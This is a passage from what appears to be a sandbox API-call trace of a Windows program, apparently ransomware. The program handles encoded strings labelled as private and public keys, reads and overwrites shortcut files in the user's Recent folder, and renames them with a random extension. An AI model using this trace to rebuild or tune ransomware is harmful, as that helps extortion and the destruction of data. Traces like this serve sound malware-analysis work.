fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.351] GetCurrentThreadId () returned 0xa30 [0080.351] GetCurrentThreadId () returned 0xa30 [0080.351] GetCurrentThreadId () returned 0xa30 [0080.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.352] GetCurrentThreadId () returned 0xa30 [0080.352] GetCurrentThreadId () returned 0xa30 [0080.352] GetCurrentThreadId () returned 0xa30 [0080.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cdh12jxkesc8swea7c.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.352] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.352] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.352] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa8f [0080.352] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.353] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa8f, lpOverlapped=0x0) returned 1 [0080.354] CloseHandle (hObject=0x124) returned 1 [0080.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cdh12jxkesc8swea7c.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.356] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa8f, lpOverlapped=0x0) returned 1 [0080.358] CloseHandle (hObject=0x124) returned 1 [0080.404] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cdh12jxkesc8swea7c.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cdh12jxkesc8swea7c.lnk.zv7un")) returned 1 [0080.406] GetCurrentThreadId () returned 0xa30 [0080.406] GetCurrentThreadId () returned 0xa30 [0080.406] GetCurrentThreadId () returned 0xa30 [0080.406] GetCurrentThreadId () returned 0xa30 [0080.406] GetCurrentThreadId () returned 0xa30 [0080.406] GetCurrentThreadId () returned 0xa30 [0080.406] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d30caa0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d30caa0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d30caa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Ck9o.lnk", cAlternateFileName="")) returned 1 [0080.406] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.406] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck9o.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d30caa0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d30caa0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d30caa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9f1)) returned 1 [0080.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck9o.lnk")) returned 0x20 [0080.407] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk", dwFileAttributes=0x80) returned 1 [0080.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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